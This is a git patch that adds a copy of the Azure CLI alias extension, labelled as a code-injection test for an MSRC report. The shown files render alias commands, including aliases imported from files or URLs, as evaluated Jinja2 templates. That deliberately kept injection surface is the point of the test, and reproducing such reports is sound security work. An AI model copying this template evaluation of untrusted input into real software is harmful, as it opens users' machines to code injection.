From a189f2eba37cca2cf51cf1188e9163c333ac400f Mon Sep 17 00:00:00 2001 From: Ren Silva Date: Wed, 1 Oct 2025 08:38:55 +1000 Subject: [PATCH 1/5] code injection test as per MSRC 101886 --- src/alias_msrc_test/azext_alias/__init__.py | 89 +++++ src/alias_msrc_test/azext_alias/_const.py | 37 +++ src/alias_msrc_test/azext_alias/_help.py | 71 ++++ .../azext_alias/_validators.py | 239 ++++++++++++++ src/alias_msrc_test/azext_alias/alias.py | 299 +++++++++++++++++ src/alias_msrc_test/azext_alias/argument.py | 189 +++++++++++ .../azext_alias/azext_metadata.json | 4 + .../azext_alias/command_tree.py | 68 ++++ src/alias_msrc_test/azext_alias/custom.py | 140 ++++++++ src/alias_msrc_test/azext_alias/hooks.py | 143 ++++++++ src/alias_msrc_test/azext_alias/telemetry.py | 174 ++++++++++ .../azext_alias/tests/__init__.py | 4 + .../azext_alias/tests/_const.py | 88 +++++ .../azext_alias/tests/test_alias.py | 231 +++++++++++++ .../azext_alias/tests/test_alias_commands.py | 312 ++++++++++++++++++ .../azext_alias/tests/test_argument.py | 140 ++++++++ .../azext_alias/tests/test_custom.py | 85 +++++ .../azext_alias/tests/test_util.py | 66 ++++ .../azext_alias/tests/test_validators.py | 153 +++++++++ src/alias_msrc_test/azext_alias/util.py | 225 +++++++++++++ src/alias_msrc_test/azext_alias/version.py | 6 + src/alias_msrc_test/setup.cfg | 2 + src/alias_msrc_test/setup.py | 52 +++ 23 files changed, 2817 insertions(+) create mode 100644 src/alias_msrc_test/azext_alias/__init__.py create mode 100644 src/alias_msrc_test/azext_alias/_const.py create mode 100644 src/alias_msrc_test/azext_alias/_help.py create mode 100644 src/alias_msrc_test/azext_alias/_validators.py create mode 100644 src/alias_msrc_test/azext_alias/alias.py create mode 100644 src/alias_msrc_test/azext_alias/argument.py create mode 100644 src/alias_msrc_test/azext_alias/azext_metadata.json create mode 100644 src/alias_msrc_test/azext_alias/command_tree.py create mode 100644 src/alias_msrc_test/azext_alias/custom.py create mode 100644 src/alias_msrc_test/azext_alias/hooks.py create mode 100644 src/alias_msrc_test/azext_alias/telemetry.py create mode 100644 src/alias_msrc_test/azext_alias/tests/__init__.py create mode 100644 src/alias_msrc_test/azext_alias/tests/_const.py create mode 100644 src/alias_msrc_test/azext_alias/tests/test_alias.py create mode 100644 src/alias_msrc_test/azext_alias/tests/test_alias_commands.py create mode 100644 src/alias_msrc_test/azext_alias/tests/test_argument.py create mode 100644 src/alias_msrc_test/azext_alias/tests/test_custom.py create mode 100644 src/alias_msrc_test/azext_alias/tests/test_util.py create mode 100644 src/alias_msrc_test/azext_alias/tests/test_validators.py create mode 100644 src/alias_msrc_test/azext_alias/util.py create mode 100644 src/alias_msrc_test/azext_alias/version.py create mode 100644 src/alias_msrc_test/setup.cfg create mode 100644 src/alias_msrc_test/setup.py diff --git a/src/alias_msrc_test/azext_alias/__init__.py b/src/alias_msrc_test/azext_alias/__init__.py new file mode 100644 index 00000000000..271e83a2fdb --- /dev/null +++ b/src/alias_msrc_test/azext_alias/__init__.py @@ -0,0 +1,89 @@ +# -------------------------------------------------------------------------------------------- +# Copyright (c) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See License.txt in the project root for license information. +# -------------------------------------------------------------------------------------------- + +from argcomplete.completers import FilesCompleter # pylint: disable=import-error + +from azure.cli.core import AzCommandsLoader +from azure.cli.core.decorators import Completer +from azure.cli.core.commands.events import ( + EVENT_INVOKER_PRE_CMD_TBL_TRUNCATE, EVENT_INVOKER_ON_TAB_COMPLETION, EVENT_INTERACTIVE_PRE_COMPLETER_TEXT_PARSING, + EVENT_INTERACTIVE_POST_SUB_TREE_CREATE) + +from azext_alias.util import get_alias_table +from azext_alias._validators import ( + process_alias_create_namespace, + process_alias_import_namespace, + process_alias_export_namespace +) +from azext_alias import _help # pylint: disable=unused-import +from azext_alias.hooks import ( + alias_event_handler, + enable_aliases_autocomplete, + transform_cur_commands_interactive, + enable_aliases_autocomplete_interactive +) + + +# We don't have access to load_cmd_tbl_func in custom.py (need the entire command table +# for alias and command validation when the user invokes alias create). +# This cache saves the entire command table globally so custom.py can have access to it. +# Alter this cache through cache_reserved_commands(load_cmd_tbl_func) in util.py +cached_reserved_commands = [] + + +class AliasExtCommandLoader(AzCommandsLoader): + + def __init__(self, cli_ctx=None): + from azure.cli.core.commands import CliCommandType + custom_command_type = CliCommandType(operations_tmpl='azext_alias.custom#{}') + super(AliasExtCommandLoader, self).__init__(cli_ctx=cli_ctx, + custom_command_type=custom_command_type) + self.cli_ctx.register_event(EVENT_INVOKER_PRE_CMD_TBL_TRUNCATE, alias_event_handler) + self.cli_ctx.register_event(EVENT_INVOKER_ON_TAB_COMPLETION, enable_aliases_autocomplete) + self.cli_ctx.register_event(EVENT_INTERACTIVE_PRE_COMPLETER_TEXT_PARSING, transform_cur_commands_interactive) + self.cli_ctx.register_event(EVENT_INTERACTIVE_POST_SUB_TREE_CREATE, enable_aliases_autocomplete_interactive) + + def load_command_table(self, _): + + with self.command_group('alias') as g: + g.custom_command('create', 'create_alias', validator=process_alias_create_namespace) + g.custom_command('export', 'export_aliases', validator=process_alias_export_namespace) + g.custom_command('import', 'import_aliases', validator=process_alias_import_namespace) + g.custom_command('list', 'list_alias') + g.custom_command('remove', 'remove_alias') + g.custom_command('remove-all', 'remove_all_aliases', + confirmation='Are you sure you want to remove all registered aliases?') + + return self.command_table + + def load_arguments(self, _): + with self.argument_context('alias create') as c: + c.argument('alias_name', options_list=['--name', '-n'], help='The name of the alias.') + c.argument('alias_command', options_list=['--command', '-c'], help='The command that the alias points to.') + + with self.argument_context('alias export') as c: + c.argument('export_path', options_list=['--path', '-p'], + help='The path of the alias configuration file to export to', completer=FilesCompleter()) + c.argument('exclusions', options_list=['--exclude', '-e'], + help='Space-separated aliases excluded from export', completer=get_alias_completer, nargs='*') + + with self.argument_context('alias import') as c: + c.argument('alias_source', options_list=['--source', '-s'], + help='The source of the aliases to import from.', completer=FilesCompleter()) + + with self.argument_context('alias remove') as c: + c.argument('alias_names', options_list=['--name', '-n'], help='Space-separated aliases', + completer=get_alias_completer, nargs='*') + + +@Completer +def get_alias_completer(cmd, prefix, namespace, **kwargs): # pylint: disable=unused-argument + """ + An argument completer for alias name. + """ + return get_alias_table().sections() + + +COMMAND_LOADER_CLS = AliasExtCommandLoader diff --git a/src/alias_msrc_test/azext_alias/_const.py b/src/alias_msrc_test/azext_alias/_const.py new file mode 100644 index 00000000000..6581c5d0319 --- /dev/null +++ b/src/alias_msrc_test/azext_alias/_const.py @@ -0,0 +1,37 @@ +# -------------------------------------------------------------------------------------------- +# Copyright (c) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See License.txt in the project root for license information. +# -------------------------------------------------------------------------------------------- + +import os + +from azure.cli.core._environment import get_config_dir + +GLOBAL_CONFIG_DIR = get_config_dir() +ALIAS_FILE_NAME = 'alias' +ALIAS_HASH_FILE_NAME = 'alias.sha1' +COLLIDED_ALIAS_FILE_NAME = 'collided_alias' +ALIAS_TAB_COMP_TABLE_FILE_NAME = 'alias_tab_completion' +GLOBAL_ALIAS_TAB_COMP_TABLE_PATH = os.path.join(GLOBAL_CONFIG_DIR, ALIAS_TAB_COMP_TABLE_FILE_NAME) +COLLISION_CHECK_LEVEL_DEPTH = 5 + +INSUFFICIENT_POS_ARG_ERROR = 'alias: "{}" takes exactly {} positional argument{} ({} given)' +CONFIG_PARSING_ERROR = 'alias: Please ensure you have a valid alias configuration file. Error detail: %s' +DEBUG_MSG = 'Alias Manager: Transforming "%s" to "%s"' +DEBUG_MSG_WITH_TIMING = 'Alias Manager: Transformed args to %s in %.3fms' +POS_ARG_DEBUG_MSG = 'Alias Manager: Transforming "%s" to "%s", with the following positional arguments: %s' +DUPLICATED_PLACEHOLDER_ERROR = 'alias: Duplicated placeholders found when transforming "{}"' +RENDER_TEMPLATE_ERROR = 'alias: Encounted error when injecting positional arguments to "{}". Error detail: {}' +PLACEHOLDER_EVAL_ERROR = 'alias: Encounted error when evaluating "{}". Error detail: {}' +PLACEHOLDER_BRACKETS_ERROR = 'alias: Brackets in "{}" are not enclosed properly' +ALIAS_NOT_FOUND_ERROR = 'alias: "{}" alias not found' +INVALID_ALIAS_COMMAND_ERROR = 'alias: Invalid Azure CLI command "{}"' +EMPTY_ALIAS_ERROR = 'alias: Empty alias name or command is invalid' +INVALID_STARTING_CHAR_ERROR = 'alias: Alias name should not start with "{}"' +INCONSISTENT_ARG_ERROR = 'alias: Positional argument{} {} {} not in both alias name and alias command' +COMMAND_LVL_ERROR = 'alias: "{}" is a reserved command and cannot be used to represent "{}"' +ALIAS_FILE_NOT_FOUND_ERROR = 'alias: File not found' +ALIAS_FILE_DIR_ERROR = 'alias: {} is a directory' +ALIAS_FILE_URL_ERROR = 'alias: Encounted error when retrieving alias file from {}. Error detail: {}' +POST_EXPORT_ALIAS_MSG = 'alias: Exported alias configuration file to %s.' +FILE_ALREADY_EXISTS_ERROR = 'alias: {} already exists.' diff --git a/src/alias_msrc_test/azext_alias/_help.py b/src/alias_msrc_test/azext_alias/_help.py new file mode 100644 index 00000000000..c8f717b968e --- /dev/null +++ b/src/alias_msrc_test/azext_alias/_help.py @@ -0,0 +1,71 @@ +# -------------------------------------------------------------------------------------------- +# Copyright (c) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See License.txt in the project root for license information. +# -------------------------------------------------------------------------------------------- + +# pylint: disable=line-too-long + +from knack.help_files import helps # pylint: disable=unused-import + + +helps['alias'] = """ + type: group + short-summary: Manage Azure CLI Aliases. +""" + + +helps['alias create'] = """ + type: command + short-summary: Create an alias. + examples: + - name: Create simple alias commands. + text: | + az alias create --name rg --command group + + az alias create --name ls --command list + - name: Create a complex alias. + text: | + az alias create --name list-vm --command 'vm list --resource-group myResourceGroup' + + - name: Create an alias command with arguments. + text: | + az alias create --name 'list-vm {{ resource_group }}' \\ + --command 'vm list --resource-group {{ resource_group }}' + + - name: Process arguments using Jinja2 templates. + text: | + az alias create --name 'storage-ls {{ url }}' \\ + --command 'storage blob list + --account-name {{ url.replace("https://", "").split(".")[0] }} + --container-name {{ url.replace("https://", "").split("/")[1] }}' +""" + + +helps['alias export'] = """ + type: command + short-summary: Export all registered aliases to a given path, as an INI configuration file. If no export path is specified, the alias configuration file is exported to the current working directory. +""" + + +helps['alias import'] = """ + type: command + short-summary: Import aliases from an INI configuration file or an URL. +""" + + +helps['alias list'] = """ + type: command + short-summary: List the registered aliases. +""" + + +helps['alias remove'] = """ + type: command + short-summary: Remove one or more aliases. Aliases to be removed are space-delimited. +""" + + +helps['alias remove-all'] = """ + type: command + short-summary: Remove all registered aliases. +""" diff --git a/src/alias_msrc_test/azext_alias/_validators.py b/src/alias_msrc_test/azext_alias/_validators.py new file mode 100644 index 00000000000..fbd4eb23cf8 --- /dev/null +++ b/src/alias_msrc_test/azext_alias/_validators.py @@ -0,0 +1,239 @@ +# -------------------------------------------------------------------------------------------- +# Copyright (c) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See License.txt in the project root for license information. +# -------------------------------------------------------------------------------------------- + +import os +import re +import shlex + +from knack.util import CLIError + +import azext_alias +from azext_alias.argument import get_placeholders +from azext_alias.util import ( + get_config_parser, + is_url, + reduce_alias_table, + filter_alias_create_namespace, + retrieve_file_from_url +) +from azext_alias._const import ( + COLLISION_CHECK_LEVEL_DEPTH, + INVALID_ALIAS_COMMAND_ERROR, + EMPTY_ALIAS_ERROR, + INVALID_STARTING_CHAR_ERROR, + INCONSISTENT_ARG_ERROR, + COMMAND_LVL_ERROR, + CONFIG_PARSING_ERROR, + ALIAS_FILE_NOT_FOUND_ERROR, + ALIAS_FILE_DIR_ERROR, + FILE_ALREADY_EXISTS_ERROR, + ALIAS_FILE_NAME +) +from azext_alias.alias import AliasManager + + +def process_alias_create_namespace(namespace): + """ + Validate input arguments when the user invokes 'az alias create'. + + Args: + namespace: argparse namespace object. + """ + namespace = filter_alias_create_namespace(namespace) + _validate_alias_name(namespace.alias_name) + _validate_alias_command(namespace.alias_command) + _validate_alias_command_level(namespace.alias_name, namespace.alias_command) + _validate_pos_args_syntax(namespace.alias_name, namespace.alias_command) + + +def process_alias_import_namespace(namespace): + """ + Validate input arguments when the user invokes 'az alias import'. + + Args: + namespace: argparse namespace object. + """ + if is_url(namespace.alias_source): + alias_source = retrieve_file_from_url(namespace.alias_source) + + _validate_alias_file_content(alias_source, url=namespace.alias_source) + else: + namespace.alias_source = os.path.abspath(namespace.alias_source) + _validate_alias_file_path(namespace.alias_source) + _validate_alias_file_content(namespace.alias_source) + + +def process_alias_export_namespace(namespace): + """ + Validate input arguments when the user invokes 'az alias export'. + + Args: + namespace: argparse namespace object. + """ + namespace.export_path = os.path.abspath(namespace.export_path) + if os.path.isfile(namespace.export_path): + raise CLIError(FILE_ALREADY_EXISTS_ERROR.format(namespace.export_path)) + + export_path_dir = os.path.dirname(namespace.export_path) + if not os.path.isdir(export_path_dir): + os.makedirs(export_path_dir) + + if os.path.isdir(namespace.export_path): + namespace.export_path = os.path.join(namespace.export_path, ALIAS_FILE_NAME) + + +def _validate_alias_name(alias_name): + """ + Check if the alias name is valid. + + Args: + alias_name: The name of the alias to validate. + """ + if not alias_name: + raise CLIError(EMPTY_ALIAS_ERROR) + + if not re.match('^[a-zA-Z]', alias_name): + raise CLIError(INVALID_STARTING_CHAR_ERROR.format(alias_name[0])) + + +def _validate_alias_command(alias_command): + """ + Check if the alias command is valid. + + Args: + alias_command: The command to validate. + """ + if not alias_command: + raise CLIError(EMPTY_ALIAS_ERROR) + + split_command = shlex.split(alias_command) + boundary_index = len(split_command) + for i, subcommand in enumerate(split_command): + if not re.match('^[a-z]', subcommand.lower()) or i > COLLISION_CHECK_LEVEL_DEPTH: + boundary_index = i + break + + # Extract possible CLI commands and validate + command_to_validate = ' '.join(split_command[:boundary_index]).lower() + for command in azext_alias.cached_reserved_commands: + if re.match(r'([a-z\-]*\s)*{}($|\s)'.format(command_to_validate), command): + return + + _validate_positional_arguments(shlex.split(alias_command)) + + +def _validate_pos_args_syntax(alias_name, alias_command): + """ + Check if the positional argument syntax is valid in alias name and alias command. + + Args: + alias_name: The name of the alias to validate. + alias_command: The command to validate. + """ + pos_args_from_alias = get_placeholders(alias_name) + # Split by '|' to extract positional argument name from Jinja filter (e.g. {{ arg_name | upper }}) + # Split by '.' to extract positional argument name from function call (e.g. {{ arg_name.split()[0] }}) + pos_args_from_command = [x.split('|')[0].split('.')[0].strip() for x in get_placeholders(alias_command)] + + if set(pos_args_from_alias) != set(pos_args_from_command): + arg_diff = set(pos_args_from_alias) ^ set(pos_args_from_command) + raise CLIError(INCONSISTENT_ARG_ERROR.format('' if len(arg_diff) == 1 else 's', + arg_diff, + 'is' if len(arg_diff) == 1 else 'are')) + + +def _validate_alias_command_level(alias, command): + """ + Make sure that if the alias is a reserved command, the command that the alias points to + in the command tree does not conflict in levels. + + e.g. 'dns' -> 'network dns' is valid because dns is a level 2 command and network dns starts at level 1. + However, 'list' -> 'show' is not valid because list and show are both reserved commands at level 2. + + Args: + alias: The name of the alias. + command: The command that the alias points to. + """ + alias_collision_table = AliasManager.build_collision_table([alias]) + + # Alias is not a reserved command, so it can point to any command + if not alias_collision_table: + return + + command_collision_table = AliasManager.build_collision_table([command]) + alias_collision_levels = alias_collision_table.get(alias.split()[0], []) + command_collision_levels = command_collision_table.get(command.split()[0], []) + + # Check if there is a command level conflict + if set(alias_collision_levels) & set(command_collision_levels): + raise CLIError(COMMAND_LVL_ERROR.format(alias, command)) + + +def _validate_alias_file_path(alias_file_path): + """ + Make sure the alias file path is neither non-existant nor a directory + + Args: + The alias file path to import aliases from. + """ + if not os.path.exists(alias_file_path): + raise CLIError(ALIAS_FILE_NOT_FOUND_ERROR) + + if os.path.isdir(alias_file_path): + raise CLIError(ALIAS_FILE_DIR_ERROR.format(alias_file_path)) + + +def _validate_alias_file_content(alias_file_path, url=''): + """ + Make sure the alias name and alias command in the alias file is in valid format. + + Args: + The alias file path to import aliases from. + """ + alias_table = get_config_parser() + try: + alias_table.read(alias_file_path) + for alias_name, alias_command in reduce_alias_table(alias_table): + _validate_alias_name(alias_name) + _validate_alias_command(alias_command) + _validate_alias_command_level(alias_name, alias_command) + _validate_pos_args_syntax(alias_name, alias_command) + except Exception as exception: # pylint: disable=broad-except + error_msg = CONFIG_PARSING_ERROR % AliasManager.process_exception_message(exception) + error_msg = error_msg.replace(alias_file_path, url or alias_file_path) + raise CLIError(error_msg) + + +def _validate_positional_arguments(args): + """ + To validate the positional argument feature - https://github.com/Azure/azure-cli/pull/6055. + Assuming that unknown commands are positional arguments immediately + led by words that only appear at the end of the commands + + Slight modification of + https://github.com/Azure/azure-cli/blob/dev/src/azure-cli-core/azure/cli/core/commands/__init__.py#L356-L373 + + Args: + args: The arguments that the user inputs in the terminal. + + Returns: + Rudimentary parsed arguments. + """ + nouns = [] + for arg in args: + if not arg.startswith('-') or not arg.startswith('{{'): + nouns.append(arg) + else: + break + + while nouns: + search = ' '.join(nouns) + # Since the command name may be immediately followed by a positional arg, strip those off + if not next((x for x in azext_alias.cached_reserved_commands if x.endswith(search)), False): + del nouns[-1] + else: + return + + raise CLIError(INVALID_ALIAS_COMMAND_ERROR.format(' '.join(args))) diff --git a/src/alias_msrc_test/azext_alias/alias.py b/src/alias_msrc_test/azext_alias/alias.py new file mode 100644 index 00000000000..1316f5853c6 --- /dev/null +++ b/src/alias_msrc_test/azext_alias/alias.py @@ -0,0 +1,299 @@ +# -------------------------------------------------------------------------------------------- +# Copyright (c) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See License.txt in the project root for license information. +# -------------------------------------------------------------------------------------------- + +import os +import re +import json +import shlex +import hashlib +from collections import defaultdict + +from knack.log import get_logger + +import azext_alias +from azext_alias import telemetry +from azext_alias._const import ( + GLOBAL_CONFIG_DIR, + ALIAS_FILE_NAME, + ALIAS_HASH_FILE_NAME, + COLLIDED_ALIAS_FILE_NAME, + CONFIG_PARSING_ERROR, + DEBUG_MSG, + COLLISION_CHECK_LEVEL_DEPTH, + POS_ARG_DEBUG_MSG +) +from azext_alias.argument import build_pos_args_table, render_template +from azext_alias.util import ( + is_alias_command, + cache_reserved_commands, + get_config_parser, + build_tab_completion_table +) + + +GLOBAL_ALIAS_PATH = os.path.join(GLOBAL_CONFIG_DIR, ALIAS_FILE_NAME) +GLOBAL_ALIAS_HASH_PATH = os.path.join(GLOBAL_CONFIG_DIR, ALIAS_HASH_FILE_NAME) +GLOBAL_COLLIDED_ALIAS_PATH = os.path.join(GLOBAL_CONFIG_DIR, COLLIDED_ALIAS_FILE_NAME) + +logger = get_logger(__name__) + + +class AliasManager(object): + + def __init__(self, **kwargs): + self.alias_table = get_config_parser() + self.kwargs = kwargs + self.collided_alias = defaultdict(list) + self.alias_config_str = '' + self.alias_config_hash = '' + self.load_alias_table() + self.load_alias_hash() + + def load_alias_table(self): + """ + Load (create, if not exist) the alias config file. + """ + try: + # w+ creates the alias config file if it does not exist + open_mode = 'r+' if os.path.exists(GLOBAL_ALIAS_PATH) else 'w+' + with open(GLOBAL_ALIAS_PATH, open_mode) as alias_config_file: + self.alias_config_str = alias_config_file.read() + self.alias_table.read(GLOBAL_ALIAS_PATH) + telemetry.set_number_of_aliases_registered(len(self.alias_table.sections())) + except Exception as exception: # pylint: disable=broad-except + logger.warning(CONFIG_PARSING_ERROR, AliasManager.process_exception_message(exception)) + self.alias_table = get_config_parser() + telemetry.set_exception(exception) + + def load_alias_hash(self): + """ + Load (create, if not exist) the alias hash file. + """ + # w+ creates the alias hash file if it does not exist + open_mode = 'r+' if os.path.exists(GLOBAL_ALIAS_HASH_PATH) else 'w+' + with open(GLOBAL_ALIAS_HASH_PATH, open_mode) as alias_config_hash_file: + self.alias_config_hash = alias_config_hash_file.read() + + def load_collided_alias(self): + """ + Load (create, if not exist) the collided alias file. + """ + # w+ creates the alias config file if it does not exist + open_mode = 'r+' if os.path.exists(GLOBAL_COLLIDED_ALIAS_PATH) else 'w+' + with open(GLOBAL_COLLIDED_ALIAS_PATH, open_mode) as collided_alias_file: + collided_alias_str = collided_alias_file.read() + try: + self.collided_alias = json.loads(collided_alias_str if collided_alias_str else '{}') + except Exception: # pylint: disable=broad-except + self.collided_alias = {} + + def detect_alias_config_change(self): + """ + Change if the alias configuration has changed since the last run. + + Returns: + False if the alias configuration file has not been changed since the last run. + Otherwise, return True. + """ + # Do not load the entire command table if there is a parse error + if self.parse_error(): + return False + + alias_config_sha1 = hashlib.sha1(self.alias_config_str.encode('utf-8')).hexdigest() + if alias_config_sha1 != self.alias_config_hash: + # Overwrite the old hash with the new one + self.alias_config_hash = alias_config_sha1 + return True + return False + + def transform(self, args): + """ + Transform any aliases in args to their respective commands. + + Args: + args: A list of space-delimited command input extracted directly from the console. + + Returns: + A list of transformed commands according to the alias configuration file. + """ + if self.parse_error(): + # Write an empty hash so next run will check the config file against the entire command table again + AliasManager.write_alias_config_hash(empty_hash=True) + return args + + # Only load the entire command table if it detects changes in the alias config + if self.detect_alias_config_change(): + self.load_full_command_table() + self.collided_alias = AliasManager.build_collision_table(self.alias_table.sections()) + build_tab_completion_table(self.alias_table) + else: + self.load_collided_alias() + + transformed_commands = [] + alias_iter = enumerate(args, 1) + for alias_index, alias in alias_iter: + is_collided_alias = alias in self.collided_alias and alias_index in self.collided_alias[alias] + # Check if the current alias is a named argument + # index - 2 because alias_iter starts counting at index 1 + is_named_arg = alias_index > 1 and args[alias_index - 2].startswith('-') + is_named_arg_flag = alias.startswith('-') + excluded_commands = is_alias_command(['remove', 'export'], transformed_commands) + if not alias or is_collided_alias or is_named_arg or is_named_arg_flag or excluded_commands: + transformed_commands.append(alias) + continue + + full_alias = self.get_full_alias(alias) + + if self.alias_table.has_option(full_alias, 'command'): + cmd_derived_from_alias = self.alias_table.get(full_alias, 'command') + telemetry.set_alias_hit(full_alias) + else: + transformed_commands.append(alias) + continue + + pos_args_table = build_pos_args_table(full_alias, args, alias_index) + if pos_args_table: + logger.debug(POS_ARG_DEBUG_MSG, full_alias, cmd_derived_from_alias, pos_args_table) + transformed_commands += render_template(cmd_derived_from_alias, pos_args_table) + + # Skip the next arg(s) because they have been already consumed as a positional argument above + for pos_arg in pos_args_table: # pylint: disable=unused-variable + next(alias_iter) + else: + logger.debug(DEBUG_MSG, full_alias, cmd_derived_from_alias) + transformed_commands += shlex.split(cmd_derived_from_alias) + + return self.post_transform(transformed_commands) + + def get_full_alias(self, query): + """ + Get the full alias given a search query. + + Args: + query: The query this function performs searching on. + + Returns: + The full alias (with the placeholders, if any). + """ + if query in self.alias_table.sections(): + return query + + return next((section for section in self.alias_table.sections() if section.split()[0] == query), '') + + def load_full_command_table(self): + """ + Perform a full load of the command table to get all the reserved command words. + """ + load_cmd_tbl_func = self.kwargs.get('load_cmd_tbl_func', lambda _: {}) + cache_reserved_commands(load_cmd_tbl_func) + telemetry.set_full_command_table_loaded() + + def post_transform(self, args): + """ + Inject environment variables, and write hash to alias hash file after transforming alias to commands. + + Args: + args: A list of args to post-transform. + """ + # Ignore 'az' if it is the first command + args = args[1:] if args and args[0] == 'az' else args + + post_transform_commands = [] + for i, arg in enumerate(args): + # Do not translate environment variables for command argument + if is_alias_command(['create'], args) and i > 0 and args[i - 1] in ['-c', '--command']: + post_transform_commands.append(arg) + else: + post_transform_commands.append(os.path.expandvars(arg)) + + AliasManager.write_alias_config_hash(self.alias_config_hash) + AliasManager.write_collided_alias(self.collided_alias) + + return post_transform_commands + + def parse_error(self): + """ + Check if there is a configuration parsing error. + + A parsing error has occurred if there are strings inside the alias config file + but there is no alias loaded in self.alias_table. + + Returns: + True if there is an error parsing the alias configuration file. Otherwises, false. + """ + return not self.alias_table.sections() and self.alias_config_str + + @staticmethod + def build_collision_table(aliases, levels=COLLISION_CHECK_LEVEL_DEPTH): + """ + Build the collision table according to the alias configuration file against the entire command table. + + self.collided_alias is structured as: + { + 'collided_alias': [the command level at which collision happens] + } + For example: + { + 'account': [1, 2] + } + This means that 'account' is a reserved command in level 1 and level 2 of the command tree because + (az account ...) and (az storage account ...) + lvl 1 lvl 2 + + Args: + levels: the amount of levels we tranverse through the command table tree. + """ + collided_alias = defaultdict(list) + for alias in aliases: + # Only care about the first word in the alias because alias + # cannot have spaces (unless they have positional arguments) + word = alias.split()[0] + for level in range(1, levels + 1): + collision_regex = r'^{}{}($|\s)'.format(r'([a-z\-]*\s)' * (level - 1), word.lower()) + if list(filter(re.compile(collision_regex).match, azext_alias.cached_reserved_commands)) \ + and level not in collided_alias[word]: + collided_alias[word].append(level) + + telemetry.set_collided_aliases(list(collided_alias.keys())) + return collided_alias + + @staticmethod + def write_alias_config_hash(alias_config_hash='', empty_hash=False): + """ + Write self.alias_config_hash to the alias hash file. + + Args: + empty_hash: True if we want to write an empty string into the file. Empty string in the alias hash file + means that we have to perform a full load of the command table in the next run. + """ + with open(GLOBAL_ALIAS_HASH_PATH, 'w') as alias_config_hash_file: + alias_config_hash_file.write('' if empty_hash else alias_config_hash) + + @staticmethod + def write_collided_alias(collided_alias_dict): + """ + Write the collided aliases string into the collided alias file. + """ + # w+ creates the alias config file if it does not exist + open_mode = 'r+' if os.path.exists(GLOBAL_COLLIDED_ALIAS_PATH) else 'w+' + with open(GLOBAL_COLLIDED_ALIAS_PATH, open_mode) as collided_alias_file: + collided_alias_file.truncate() + collided_alias_file.write(json.dumps(collided_alias_dict)) + + @staticmethod + def process_exception_message(exception): + """ + Process an exception message. + + Args: + exception: The exception to process. + + Returns: + A filtered string summarizing the exception. + """ + exception_message = str(exception) + for replace_char in ['\t', '\n', '\\n']: + exception_message = exception_message.replace(replace_char, '' if replace_char != '\t' else ' ') + return exception_message.replace('section', 'alias') diff --git a/src/alias_msrc_test/azext_alias/argument.py b/src/alias_msrc_test/azext_alias/argument.py new file mode 100644 index 00000000000..ca5a3d8d11f --- /dev/null +++ b/src/alias_msrc_test/azext_alias/argument.py @@ -0,0 +1,189 @@ +# -------------------------------------------------------------------------------------------- +# Copyright (c) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See License.txt in the project root for license information. +# -------------------------------------------------------------------------------------------- + +# pylint: disable=import-error + +import re +import shlex + +from knack.util import CLIError + +import jinja2 as jinja +from azext_alias._const import ( + DUPLICATED_PLACEHOLDER_ERROR, + RENDER_TEMPLATE_ERROR, + INSUFFICIENT_POS_ARG_ERROR, + PLACEHOLDER_EVAL_ERROR, + PLACEHOLDER_BRACKETS_ERROR +) + + +def get_placeholders(arg, check_duplicates=False): + """ + Get all the placeholders' names in order. + Use the regex below to locate all the opening ({{) and closing brackets (}}). + After that, extract "stuff" inside the brackets. + + Args: + arg: The word which this function performs searching on. + check_duplicates: True if we want to check for duplicated positional arguments. + + Returns: + A list of positional arguments in order. + """ + placeholders = [] + last_match = None + arg = normalize_placeholders(arg) + for cur_match in re.finditer(r'\s*{{|}}\s*', arg): + matched_text = cur_match.group().strip() + if not last_match and matched_text == '{{': + last_match = cur_match + continue + + last_matched_text = '' if not last_match else last_match.group().strip() + # Check if the positional argument is enclosed with {{ }} properly + if (not last_matched_text and matched_text == '}}') or (last_matched_text == '{{' and matched_text != '}}'): + raise CLIError(PLACEHOLDER_BRACKETS_ERROR.format(arg)) + elif last_matched_text == '{{' and matched_text == '}}': + # Extract start and end index of the placeholder name + start_index, end_index = last_match.span()[1], cur_match.span()[0] + placeholders.append(arg[start_index: end_index].strip()) + last_match = None + + # last_match did not reset - that means brackets are not enclosed properly + if last_match: + raise CLIError(PLACEHOLDER_BRACKETS_ERROR.format(arg)) + + # Make sure there is no duplicated placeholder names + if check_duplicates and len(placeholders) != len(set(placeholders)): + raise CLIError(DUPLICATED_PLACEHOLDER_ERROR.format(arg)) + + return placeholders + + +def normalize_placeholders(arg, inject_quotes=False): + """ + Normalize placeholders' names so that the template can be ingested into Jinja template engine. + - Jinja does not accept numbers as placeholder names, so add a "_" + before the numbers to make them valid placeholder names. + - Surround placeholders expressions with "" so we can preserve spaces inside the positional arguments. + + Args: + arg: The string to process. + inject_qoutes: True if we want to surround placeholders with a pair of quotes. + + Returns: + A processed string where placeholders are surrounded by "" and + numbered placeholders are prepended with "_". + """ + number_placeholders = re.findall(r'{{\s*\d+\s*}}', arg) + for number_placeholder in number_placeholders: + number = re.search(r'\d+', number_placeholder).group() + arg = arg.replace(number_placeholder, '{{_' + number + '}}') + + return arg.replace('{{', '"{{').replace('}}', '}}"') if inject_quotes else arg + + +def build_pos_args_table(full_alias, args, start_index): + """ + Build a dictionary where the key is placeholder name and the value is the position argument value. + + Args: + full_alias: The full alias (including any placeholders). + args: The arguments that the user inputs in the terminal. + start_index: The index at which we start ingesting position arguments. + + Returns: + A dictionary with the key beign the name of the placeholder and its value + being the respective positional argument. + """ + pos_args_placeholder = get_placeholders(full_alias, check_duplicates=True) + pos_args = args[start_index: start_index + len(pos_args_placeholder)] + + if len(pos_args_placeholder) != len(pos_args): + error_msg = INSUFFICIENT_POS_ARG_ERROR.format(full_alias, + len(pos_args_placeholder), + '' if len(pos_args_placeholder) == 1 else 's', + len(pos_args)) + raise CLIError(error_msg) + + # Escape '"' because we are using "" to surround placeholder expressions + for i, pos_arg in enumerate(pos_args): + pos_args[i] = pos_arg.replace('"', '\\"') + + return dict(zip(pos_args_placeholder, pos_args)) + + +def render_template(cmd_derived_from_alias, pos_args_table): + """ + Render cmd_derived_from_alias as a Jinja template with pos_args_table as the arguments. + + Args: + cmd_derived_from_alias: The string to be injected with positional arguemnts. + pos_args_table: The dictionary used to rendered. + + Returns: + A processed string with positional arguments injected. + """ + try: + cmd_derived_from_alias = 